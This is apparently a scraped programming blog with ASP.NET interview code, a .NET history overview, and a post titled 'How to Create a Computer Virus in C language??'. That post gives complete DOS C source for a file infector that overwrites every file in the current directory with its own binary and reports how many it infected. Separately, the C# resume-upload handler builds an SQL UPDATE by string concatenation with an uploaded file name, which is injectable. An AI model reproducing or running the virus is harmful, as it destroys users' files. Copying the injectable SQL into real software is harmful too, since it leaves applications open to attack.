Thursday, 10 July 2014

Practical Interview Test for Asp.net Developer

Main Css ...Name is Site.css


/* DEFAULTS
----------------------------------------------------------*/

body
{
    background: orange;
    font-size: .80em;
    font-family: "Helvetica Neue" , "Lucida Grande" , "Segoe UI" , Arial, Helvetica, Verdana, sans-serif;
    margin: 0px;
    padding: 0px;
    color: #696969;
}

a:link, a:visited
{
    color: #034af3;
}

a:hover
{
    color: #1d60ff;
    text-decoration: none;
}

a:active
{
    color: #034af3;
}

p
{
    margin-bottom: 10px;
    line-height: 1.6em;
}


/* HEADINGS
----------------------------------------------------------*/

h1, h2, h3, h4, h5, h6
{
    font-size: 1.5em;
    color: #666666;
    font-variant: small-caps;
    text-transform: none;
    font-weight: 200;
    margin-bottom: 0px;
}

h1
{
    font-size: 1.6em;
    padding-bottom: 0px;
    margin-bottom: 0px;
}

h2
{
    font-size: 1.5em;
    font-weight: 600;
}

h3
{
    font-size: 1.2em;
}

h4
{
    font-size: 1.1em;
}

h5, h6
{
    font-size: 1em;
}

/* this rule styles <h1> and <h2> tags that are the
first child of the left and right table columns */
.rightColumn > h1, .rightColumn > h2, .leftColumn > h1, .leftColumn > h2
{
    margin-top: 0px;
}


/* PRIMARY LAYOUT ELEMENTS
----------------------------------------------------------*/

.page
{
    width: 90%;
    background-color: #fff;
    margin: 20px auto 0px auto;
    border: 1px solid #496077;
    border-radius: 10px;
    -moz-border-radius: 10px;
    -webkit-border-radius: 10px;
}

.header
{
    position: relative;
    margin: 0px;
    padding: 0px;
    background: #ffffff;
    width: 100%;
}

.header h1
{
    border-style: none;
    border-color: inherit;
    border-width: medium;
    font-weight: 700;
    margin: 0px;
    padding: 0px 0px 0px 20px;
    color: #3b5998;
    line-height: 2em;
    font-size: 2em;
    width: 356px;
}

.main
{
    padding: 0px 12px;
    margin: 12px 8px 8px 8px;
    min-height: 420px;
    width: 90%;
}

.leftCol
{
    padding: 6px 0px;
    margin: 12px 8px 8px 8px;
    width: 200px;
    min-height: 200px;
}

.footer
{
    color: #4e5766;
    padding: 8px 0px 0px 0px;
    margin: 0px auto;
    text-align: center;
    line-height: normal;
}


/* TAB MENU
----------------------------------------------------------*/

div.hideSkiplink
{
    background-color: #3a4f63;
    width: 100%;
}

div.menu
{
    padding: 4px 0px 4px 8px;
}

div.menu ul
{
    list-style: none;
    margin: 0px;
    padding: 0px;
    width: auto;
}

div.menu ul li a, div.menu ul li a:visited
{
    background-color: #465c71;
    border: 1px #4e667d solid;
    color: #dde4ec;
    display: block;
    line-height: 1.35em;
    padding: 4px 20px;
    text-decoration: none;
    white-space: nowrap;
}

div.menu ul li a:hover
{
    background-color: #bfcbd6;
    color: #465c71;
    text-decoration: none;
}

div.menu ul li a:active
{
    background-color: #465c71;
    color: #cfdbe6;
    text-decoration: none;
}

/* FORM ELEMENTS
----------------------------------------------------------*/

fieldset
{
    margin: 1em 0px;
    padding: 1em;
    border: 1px solid #ccc;
}

fieldset p
{
    margin: 2px 12px 10px 10px;
}

fieldset.login label, fieldset.register label, fieldset.changePassword label
{
    display: block;
}

fieldset label.inline
{
    display: inline;
}

legend
{
    font-size: 1.1em;
    font-weight: 600;
    padding: 2px 4px 8px 4px;
}

input.textEntry
{
    width: 320px;
    border: 1px solid #ccc;
}

input.passwordEntry
{
    width: 320px;
    border: 1px solid #ccc;
}

div.accountInfo
{
    width: 42%;
}

/* MISC
----------------------------------------------------------*/

.clear
{
    clear: both;
}

.title
{
    display: block;
    float: left;
    text-align: left;
    padding-top: 20px;
}

.loginDisplay
{
    font-size: 1.1em;
    display: block;
    text-align: right;
    padding: 10px;
    color: #3b5998;
}

.loginDisplay a:link
{
    color: #3b5998;
}

.loginDisplay a:visited
{
    color: #3b5998;
}

.loginDisplay a:hover
{
    color: #3b5998;
}

.failureNotification
{
    font-size: 1.2em;
    color: Red;
}

.bold
{
    font-weight: bold;
}

.submitButton
{
    text-align: right;
    padding-right: 10px;
}


.texBox
{
    border-radius: 6px;
    -moz-border-radius: 6px;
    -webkit-border-radius: 6px;
}

.rounded_corners
{
    border: 1px solid #A1DCF2;
    -webkit-border-radius: 8px;
    -moz-border-radius: 8px;
    border-radius: 8px;
    overflow: hidden;
    border-collapse: collapse;
}
.rounded_corners td, .rounded_corners th
{
    border: 1px solid #A1DCF2;
    font-family: Arial;
    font-size: 10pt;
    text-align: center;
    padding: 8px;
}

.rounded_corners table table td
{
    border-style: none;
}

.myGridStyle
{
    border-collapse: collapse;
}
.myGridStyle tr th
{
    padding: 8px;
    color: white;
    border: 1px solid black;
}

.myGridStyle tr:nth-child(even)
{
    background-color: #E1FFEF;
}
.myGridStyle tr:nth-child(odd)
{
    background-color: #00C157;
}



.paging
{
}


.paging a
{
    background-color: #00C157;
    padding: 5px 7px;
    text-decoration: none;
    border: 1px solid #00C157;
}



.paging a:hover
{
    background-color: #E1FFEF;
    color: #00C157;
    border: 1px solid #00C157;
}



.paging span
{
    background-color: #E1FFEF;
    padding: 5px 7px;
    color: #00C157;
    border: 1px solid #00C157;
}



tr.paging
{
    background: none !important;
}



tr.paging tr
{
    background: none !important;
}

tr.paging td
{
    border: none;
}


Master Page Source


<%@ Master Language="C#" AutoEventWireup="true" CodeFile="Site.master.cs" Inherits="SiteMaster" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head runat="server">
    <title></title>
    <link href="~/Styles/Site.css" rel="stylesheet" type="text/css" />
    <asp:ContentPlaceHolder ID="HeadContent" runat="server">
    </asp:ContentPlaceHolder>
</head>
<body>
    <form runat="server">
      <div class="page">
        <div class="header">
            <div class="title">
                <h1>
                    <img alt="" src="Logs/logo.jpg" style="width: 192px; height: 73px" />
                </h1>
            </div>
            <div class="loginDisplay">
                <asp:LoginView ID="HeadLoginView" runat="server" EnableViewState="false">
                    <AnonymousTemplate>
                        [ <a href="~/Account/Login.aspx" ID="HeadLoginStatus" runat="server">Log In</a> ]
                    </AnonymousTemplate>
                    <LoggedInTemplate>
                        Welcome <span class="bold"><asp:LoginName ID="HeadLoginName" runat="server" /></span>!
                        [ <asp:LoginStatus ID="HeadLoginStatus" runat="server" LogoutAction="Redirect" LogoutText="Log Out" LogoutPageUrl="~/Index.aspx"/> ]
                    </LoggedInTemplate>
                </asp:LoginView>
            </div>
            <div class="clear hideSkiplink">
                <asp:Menu ID="NavigationMenu" runat="server" CssClass="menu" EnableViewState="false" IncludeStyleBlock="false" Orientation="Horizontal">
                    <Items>
                        <asp:MenuItem NavigateUrl="~/Index.aspx" Text="Home"/>
                        <asp:MenuItem NavigateUrl="~/UserRegistration.aspx" Text="User Registration"/>
                    </Items>
                </asp:Menu>
            </div>
        </div>
        <div class="main">
            <asp:ContentPlaceHolder ID="MainContent" runat="server"/>
        </div>
        <div class="clear">
        </div>
    </div>
    <div class="footer">
        
    </div>

    </form>
</body>
</html>


User Registration Page 


<%@ Page Title="" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeFile="UserRegistration.aspx.cs" Inherits="UserRegistration" %>

<asp:Content ID="Content1" ContentPlaceHolderID="HeadContent" Runat="Server">
  <h2>
                        Create a New Account
                    </h2>
                    <p>
                        Use the form below to create a new account.
                    </p>
                    <p>
                        Passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length.
                    </p>
                    <span class="failureNotification">
                        <asp:Literal ID="ErrorMessage" runat="server"></asp:Literal>
                    </span>
                    <asp:ValidationSummary ID="RegisterUserValidationSummary" runat="server" CssClass="failureNotification" 
                         ValidationGroup="RegisterUserValidationGroup"/>
                    <div class="accountInfo">
                        <fieldset class="register">
                            <legend>Account Information</legend>
                            <p>
                                <asp:Label ID="UserNameLabel" runat="server" AssociatedControlID="UserName">User Name:</asp:Label>
                                <asp:TextBox ID="UserName" runat="server" CssClass="textEntry"></asp:TextBox>
                                <asp:RequiredFieldValidator ID="UserNameRequired" runat="server" ControlToValidate="UserName" 
                                     CssClass="failureNotification" ErrorMessage="User Name is required." ToolTip="User Name is required." 
                                     ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
                            </p>
                            <p>
                                <asp:Label ID="EmailLabel" runat="server" AssociatedControlID="Email">E-mail:</asp:Label>
                                <asp:TextBox ID="Email" runat="server" CssClass="textEntry"></asp:TextBox>
                                <asp:RequiredFieldValidator ID="EmailRequired" runat="server" ControlToValidate="Email" 
                                     CssClass="failureNotification" ErrorMessage="E-mail is required." ToolTip="E-mail is required." 
                                     ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
                            </p>
                            <p>
                                <asp:Label ID="PasswordLabel" runat="server" AssociatedControlID="Password">Password:</asp:Label>
                                <asp:TextBox ID="Password" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
                                <asp:RequiredFieldValidator ID="PasswordRequired" runat="server" ControlToValidate="Password" 
                                     CssClass="failureNotification" ErrorMessage="Password is required." ToolTip="Password is required." 
                                     ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
                            </p>
                            <p>
                                <asp:Label ID="ConfirmPasswordLabel" runat="server" AssociatedControlID="ConfirmPassword">Confirm Password:</asp:Label>
                                <asp:TextBox ID="ConfirmPassword" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
                                <asp:RequiredFieldValidator ControlToValidate="ConfirmPassword" CssClass="failureNotification" Display="Dynamic" 
                                     ErrorMessage="Confirm Password is required." ID="ConfirmPasswordRequired" runat="server" 
                                     ToolTip="Confirm Password is required." ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
                                <asp:CompareValidator ID="PasswordCompare" runat="server" ControlToCompare="Password" ControlToValidate="ConfirmPassword" 
                                     CssClass="failureNotification" Display="Dynamic" ErrorMessage="The Password and Confirmation Password must match."
                                     ValidationGroup="RegisterUserValidationGroup">*</asp:CompareValidator>
                            </p>
                        </fieldset>
                        <p class="submitButton">
                            <asp:Button ID="CreateUserButton" runat="server"  Text="Create User" 
                                 ValidationGroup="RegisterUserValidationGroup"/>
                        </p>
                    </div>
</asp:Content>



User Login 

<%@ Page Title="" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeFile="UserLogin.aspx.cs" Inherits="UserLogin" %>

<asp:Content ID="Content1" ContentPlaceHolderID="HeadContent" Runat="Server">
</asp:Content>
<asp:Content ID="Content2" ContentPlaceHolderID="MainContent" Runat="Server">
 <h2>
        Log In
    </h2>
    <p>
        Please enter your username and password.
        <asp:HyperLink ID="RegisterHyperLink" runat="server" EnableViewState="false">Register</asp:HyperLink> if you don't have an account.
    </p>
    <asp:Login ID="LoginUser" runat="server" EnableViewState="false" RenderOuterTable="false">
        <LayoutTemplate>
            <span class="failureNotification">
                <asp:Literal ID="FailureText" runat="server"></asp:Literal>
            </span>
            <asp:ValidationSummary ID="LoginUserValidationSummary" runat="server" CssClass="failureNotification" 
                 ValidationGroup="LoginUserValidationGroup"/>
            <div class="accountInfo">
                <fieldset class="login">
                    <legend>Account Information</legend>
                    <p>
                        <asp:Label ID="UserNameLabel" runat="server" AssociatedControlID="UserName">Username:</asp:Label>
                        <asp:TextBox ID="UserName" runat="server" CssClass="textEntry"></asp:TextBox>
                        <asp:RequiredFieldValidator ID="UserNameRequired" runat="server" ControlToValidate="UserName" 
                             CssClass="failureNotification" ErrorMessage="User Name is required." ToolTip="User Name is required." 
                             ValidationGroup="LoginUserValidationGroup">*</asp:RequiredFieldValidator>
                    </p>
                    <p>
                        <asp:Label ID="PasswordLabel" runat="server" AssociatedControlID="Password">Password:</asp:Label>
                        <asp:TextBox ID="Password" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
                        <asp:RequiredFieldValidator ID="PasswordRequired" runat="server" ControlToValidate="Password" 
                             CssClass="failureNotification" ErrorMessage="Password is required." ToolTip="Password is required." 
                             ValidationGroup="LoginUserValidationGroup">*</asp:RequiredFieldValidator>
                    </p>
                    <p>
                        <asp:CheckBox ID="RememberMe" runat="server"/>
                        <asp:Label ID="RememberMeLabel" runat="server" AssociatedControlID="RememberMe" CssClass="inline">Keep me logged in</asp:Label>
                    </p>
                </fieldset>
                <p class="submitButton">
                    <asp:Button ID="LoginButton" runat="server" CommandName="Login" Text="Log In" ValidationGroup="LoginUserValidationGroup"/>
                </p>
            </div>
        </LayoutTemplate>
    </asp:Login>
</asp:Content>


JavaScript Validation


    <script type="text/javascript">
        function userValid() {
            var Name, pass, gender, conpass, EmailId, emailExp;
            Name = document.getElementById('<%=txtUserId.ClientID %>').value;
            gender = document.getElementById("<%=ddlType.ClientID %>").value;
            pass = document.getElementById("<%=txtPass1.ClientID %>").value;
            conpass = document.getElementById("<%=txtPass2.ClientID %>").value;
            EmailId = document.getElementById("<%=txtmail.ClientID %>").value;
            emailExp = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([com\co\.\in])+$/;

            if (Name == '' && gender == 0 && pass == '' && conpass == '' && EmailId == '') {
                alert("Please Enter All Fields");
                return false;
            }
            if (Name == '') {
                alert("Please Enter Login ID");
                return false;
            }
            if (gender == 0) {
                alert("Please Select gender");
                return false;
            }
            if (pass == '') {
                alert("Please Enter Password");
                return false;
            }
            if (pass != '' && conpass == '') {
                alert("Please Confirm Password");
                return false;
            }
            if (pass != conpass) {
                alert("Password not match");
                return false;
            }
            if (EmailId == '') {
                alert("Email Id Is Required");
                return false;
            }
            if (EmailId != '') {
                if (!EmailId.match(emailExp)) {
                    alert("Invalid Email Id");
                    return false;
                }
            }
            return true;
        }

        function clearAllFeilds() {

            document.getElementById('<%=txtUserId.ClientID %>').value = null;
            document.getElementById("<%=ddlType.ClientID %>").value = null;
            document.getElementById("<%=txtPass1.ClientID %>").value = null;
            document.getElementById("<%=txtPass2.ClientID %>").value = null;
           document.getElementById("<%=txtmail.ClientID %>").value=null;
        }
       

    </script>


Code Behind .cs file



  public class CommonShared

    {
        public enum PageMode
        {
            Insert=0,
            Update=1
        }
    }

Before Page Load Event Write this 

public CommonShared.PageMode PageMode
    {
        get
        {
            if (ViewState["Update"] != null)
            {
                return (CommonShared.PageMode)ViewState["Update"];
            }
            
                return CommonShared.PageMode.Insert;
        }
        set
        {
            ViewState["Update"] = value;
        }
    }

btn-Save PageMode Use


  protected void btnSave_Click(object sender, EventArgs e)
    {
        bool exist;
        if (PageMode==CommonShared.PageMode.Insert)
        {
                SaveEmployee();

                BindGridview();
        }

        else if (PageMode==CommonShared.PageMode.Update)
        {
            exist=EmployeeManagement.IsExistFirstName(txtFname.Text.Trim(),Convert.ToInt32(hfId.Value));
            if (exist)
            {
                UpdateEmployee();

                BindGridview();

                Clear();

                btnSave.Text = "Save";

                PageMode = CommonShared.PageMode.Insert;
            }
            else
                lblMessage.Text = "First Name Already Exist.Please Enter Unique Firstname";
        }
    }

 gvEmployee_RowCommand

 protected void gvEmployee_RowCommand(object sender, GridViewCommandEventArgs e)
    {
        try
        {
            int id;

            Employee objEmployee = new Employee();

            GridViewRow row = (GridViewRow)(((Control)e.CommandSource).NamingContainer);

            if (e.CommandName == "cmdEdit")
            {
                LinkButton lnkEdit = (LinkButton)row.FindControl("lnkEdit");
                id = Convert.ToInt32(lnkEdit.CommandArgument);
                objEmployee = EmployeeManagement.FecthRecordbyPrimeryKey(id);
                txtFname.Text = objEmployee.FirstName;
                txtMname.Text = objEmployee.MiddleName;
                txtLname.Text = objEmployee.LastName;
                txtMobile.Text = objEmployee.Mobile;
                ddlCategory.SelectedValue = (objEmployee.EmployeeCategoryID.ToString());
                txtSal.Text = objEmployee.Salary.ToString();
                txtAddress.Text = objEmployee.Address;
                hfId.Value = objEmployee.EmployeeId.ToString();

                PageMode = CommonShared.PageMode.Update;
                btnSave.Text = "Update";
            }
            else if (e.CommandName == "cmdDelete")
            {
                LinkButton lnkDelete = (LinkButton)row.FindControl("lnkDelete");
                id = Convert.ToInt32(lnkDelete.CommandArgument);
                EmployeeManagement.Delete(id);
                BindGridview();
            }
        }
        catch (Exception ex)
        {
            
            ScriptManager.RegisterStartupScript(this, GetType(), "showalert", "alert('" + ex.Message + "');", true);
        }
        
    }

gvEmployee_RowDataBound

protected void gvEmployee_RowDataBound(object sender, GridViewRowEventArgs e)
    {
        try
        {
            if (e.Row.RowType == DataControlRowType.DataRow)
            {
                DataRowView dr = (DataRowView)e.Row.DataItem;

                Label lblname = e.Row.FindControl("lblName") as Label;
                //lblname.Text = string.Concat(Convert.ToString(DataBinder.Eval(e.Row.DataItem, "FirstName")), " ",Convert.ToString(DataBinder.Eval(e.Row.DataItem, "MiddleName")), " ",Convert.ToString(DataBinder.Eval(e.Row.DataItem, "LastName")));
                lblname.Text = string.Concat(Convert.ToString(dr["FirstName"]), " ", Convert.ToString(dr["MiddleName"]), " ", Convert.ToString(dr["LastName"]));
            }
        }
        catch (Exception ex)
        {
            
            ScriptManager.RegisterStartupScript(this, GetType(), "showalert", "alert('" + ex.Message + "');", true);
        }
       
    }

Image Uploader

protected void btnupload_Click(object sender, EventArgs e)
    {
        try
        {
            //Captcha1.ValidateCaptcha(txtcaptcha.Text);
            //if (Captcha1.UserValidated)
            //{
            txtcaptcha.Text = "";
            if(Page.IsValid)
            {
                ds = new DataSet();
                String p = Server.MapPath("").Replace("JobSeeker", "Upload_Resume");
                Pathname = p + "/" + resume;//(Here Resume Comming from Database )
                if (Pathname != null && Pathname != string.Empty)
                {
                    if (File.Exists(Pathname))
                    {
                        File.Delete(Pathname);
                    }
                }

                string filename = Path.GetFileName(FileUpload1.FileName);
                filename = filename.Replace(" ", "_");
                string extenstion = Path.GetExtension(filename);
                HttpFileCollection filcollection = Request.Files;
                ArrayList tmplist;
                ArrayList list = new ArrayList();
                string resumename = string.Empty;
                Int16 i = 1;
                string[] files;

                tmplist = new ArrayList();
                
                files = Directory.GetFiles(p);
                
                foreach (string fn in files)
                {
                    resumename = Path.GetFileName(fn);
                    tmplist.Add(resumename);
                }
                resumename = filename;
            Up:
                if (tmplist.Contains(filename))
                {
                    filename = resumename.Substring(0, resumename.LastIndexOf('.'));
                    filename = filename + "_" + i + extenstion;
                    i++;
                    goto Up;
                }
            FileUpload1.SaveAs(p + "/" + filename);
                c1.SaveData("Update tblClientJobSeeker set Resume_name='" + filename + "' where UserId=" + Uid + "");
            //Server.TransferRequest(
                //Server.Transfer("JobSeeker/Home.aspx");
                //Response.Redirect("~/Index.aspx");
                Response.AppendHeader("Refresh", "0");
            }
            else
            {
               lblMessage.ForeColor = System.Drawing.Color.Red;
                lblMessage.Text = "InValid";
            }

        }
        catch (Exception ex)
        {
            
            Response.Write("<html><script>alert('Opps!!Error Occured:-" + ex.Message + "')</script></html>");
        }
        
        //Response.Redirect(Server.MapPath("") + "/Home.aspx");
    }


Doweload  File


protected void lnkresume_Click(object sender, EventArgs e)
    {
        try
        {
            string pathname = Server.MapPath("~/Upload_Resume/" + resume);
            HttpResponse response = HttpContext.Current.Response;
            FileStream fs = File.OpenRead(pathname);
            MemoryStream ms = new MemoryStream();
            ms.SetLength(fs.Length);
            fs.Read(ms.GetBuffer(), 0, (int)fs.Length);
            response.Clear();
            response.AddHeader("Content-disposition", "attachment; filename=" + resume);
            response.ContentType = "application/vnd.openxmlformats-officedocument.wordprocessingml.document";
            response.BinaryWrite(ms.ToArray());
            //response.TransmitFile(pathname);
            response.Flush();
            response.Close();
            response.End();

            //Response.Redirect("~/Upload_Resume/" + resume);
            //WebClient req= new WebClient();
            //HttpResponse response = HttpContext.Current.Response;
            //response.Clear();
            //response.ClearContent();
            //response.ClearHeaders();
            //response.Buffer = true;
            //response.AppendHeader("content-disposition", "attachment;filename=\"" + pathname + "\"");
            //byte[] data = req.DownloadData(pathname);
            //response.BinaryWrite(data);
            //response.End();
            //if (lnkresume.Text.EndsWith(".doc"))
            //{
            //    Pathname = Server.MapPath("~/Upload_Resume/" + resume);
            //    Response.ContentType = "application/doc";
            //    Response.AddHeader("content-disposition", "attachment;filename=" + resume);
            //    Response.Flush();
            //    Response.TransmitFile(Server.MapPath("~/Upload_Resume/") + resume);
            //}
            //else if (lnkresume.Text.EndsWith(".docx"))
            //{
            //    Pathname = Server.MapPath("~/Upload_Resume/" + resume);
            //    Response.ContentType = "application/doc";
            //    Response.AddHeader("content-disposition", "attachment;filename=" + resume);
            //    Response.Flush();
            //    Response.TransmitFile(Server.MapPath("~/Upload_Resume/") + resume);
            //    Response.End();
            //}
        }
        catch (Exception ex)
        {
            
             Response.Write("<html><script>alert('Opps!!Error Occured:-" + ex.Message + "')</script></html>");
        }
        
    }

Saturday, 4 January 2014

How to Create a Computer Virus in C language??

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

.Net Concepts Overview

Net Technology Overview


The .NET Framework is a development and execution environment that allows different programming languages and libraries to work together seamlessly to create Windows-based applications that are easier to build, manage, deploy, and integrate with other networked systems.

Built on Web service standards, .NET enables both new and existing personal and business applications to connect with software and services across platforms, applications, and programming languages. These connections give users access to key information, whenever and wherever you need it.

Microsoft .NET–connected software makes the "real-time" enterprise real by enabling information to flow freely throughout the organization, accessible to business partners, and delivering value to customers. With .NET-connected software, users can increase the value of existing systems and seamlessly extend those systems to partners, suppliers, and customers.

  • Connected
    .NET Framework empowers developers to build applications that require robust messaging systems or flexible workflows.
  • Compelling
    With the .NET Framework, developers and designers can collaborate to create rich user experiences.
  • Ubiquitous and Productive
    The .NET Framework, including improvements like LINQ, provides a single platform to quickly build mobile desktop and server-based applications.

The most important question is What is .NET ?, and the simplest answer is : it is a Framework in which Windows applications may be developed and run. I agree that this answer does not tell much. In order to understand .NET we must go back in time and follow the development of Windows and the advent of Windows programming. 

Let's see how a traditional windows application works. 

Windows provide the programmers with various functions - called API. Starting from the very first time Windows enter the commercial market to the latest version of WindowsXP, APIs are the basic tool to let the Windows know what you want it to do. If you want to create a Dialog Box you must call a specific API provided to you by Windows. Making a button requires another API call. And the list goes on. As new GUIs appear on the seen, new APIs are introduced in Windows. But using these native APIs was a very challenging task. Making a simple Window that prints "Hello World" could take more than hundred lines. Compare this to 5 lines of "Hello World" program in DOS. Due to this difficulty, Windows programming was considered something better left to the experts. Microsoft and other commercial organization's realized this and started marketing Visual Tools that made the programmer's life easy. Using Visual C++, Visual Basic, Borland's C++ and other such IDEs, it became simpler to make Windows programs. 

Various vendors develop their own "Wrapper classes"  that wrapped the Windows APIs in an Object-Oriented way. The Microsoft Foundation Classes (MFC) that are used in Visual C++, is an example of Wrapper classes. The MFC equivalent of Visual Basic is VBRun; and for Visual J++ it is WFC. These Wrapper Classes, along with the Visual GUI tools made it very convenient to make windows programs. 

Microsoft realized that applications need a solid way to talk to each other. And this resulted in the introduction of Object Linking and Embedding (OLE). OLE was an extremely useful concept, but it had two major flaws : It was notoriously difficult to program, and it was very limited in its scope - i.e. it only did a few things like drag and drop, clipboard sharing, OLE client, OLE server etc. Microsoft addressed (or at least tried to address) both these problems. They upgraded OLE to COM. COM  was much more capable than OLE, and it introduced new concept like ActiveX controls which directly competed with Java Applets. As for the difficulty of programming OLE/COM; Microsoft expanded the MFC and VBRun to take care of most of the dirty job. Although making an ActiveX application still was slightly tricky in Visual C++, but developing an ActiveX application in Visual Basic was extremely easy; and hence Visual Basic became the foremost ActiveX development media.

The Internet revolution posed new problems and challenges. C/C++ which was the tool of champions was not suited/ready for Web Development. Microsoft tried expanding MFC, and included several network oriented classes - like CSocket, CASyncSocket, and several HTTP based classes. Using these classes a programmer could very develop a distributed application - although not without considerable effort. But these applications were always customized and targeted to the specific task. The developers had to take care of the gory network communication details themselves. By now object-oriented analysis and development had started becoming ubiquitous. Although technologies like Remote Procedure Call (RPC) was a great help to the programmers; but it was limited in its scope. With programmers following the Object-Oriented development RPC was not much help at all; since RPC did not allow passing objects as parameters. This major issue was addressed by introduction of industry's agreed upon standards like CORBA, IIOP, RMI, DCOM etc. All these standards used customized protocol to transmit an object over the network, and they required a tight coupling between the server and the client - i.e. the client needed to be fully aware of how to talk to the server. Due to this tight client-server coupling all these protocols needed considerable deployment efforts in order for distributed applications to function properly. Sun did come up with another layer on top of RMI - the famous Enterprise Java Beans (EJB). The EJB container provided lot of services for free - all that a programmer had to do was to extend (inherit) from an appropriate EJB base class and there you have it - a fully functional distributed application. EJB made programmer's life extremely easy; but it did not eradicate the client-server coupling issue. 

While all this was happening - Microsoft was still not facing the writing on the wall - MICROSOFT NEEDED SOMETHING RADICALLY NEW TO  MATCH UP TO THE CHANGING TIMES AND CHANGING DEMANDS. Microsoft soon realized that upgrading their existing technologies would not work - what they needed was a complete change in their philosophy. OLE was upgraded to COM - and it was welcomed by all. COM was then upgraded to COM+. Microsoft addressed the distributed programming issue with the introduction of DCOM. Although COM/COM+/DCOM were all good technologies but these technologies required significant learning curve. Sun on the other hand was making things easier and hence a majority of developers were turning towards Java based technologies for distributed enterprise applications.

Microsoft - after the cold treatment faced by DNA - got their gurus together and asked them to reflect back on DNA and to come up with a future vision. This group came up with so many new and great ideas which made Microsoft realized that no amount of up gradation or extension in MFC/VBRun/WFC, COM/COM+/DCOM, ASP, APIs etc. would even come closer to realizing this new vision. So they made a radical but correct decision - and this was the decision of coming up with something big, something new, and something that lets Microsoft make up for their lapses - this was called the .NET Framework.

Developed by Microsoft 
Latest release 4.5.1Operating system Windows NT 4.0, Windows 98 and above 
Type Software framework 
License  MS-EULA, BCL under Microsoft Reference License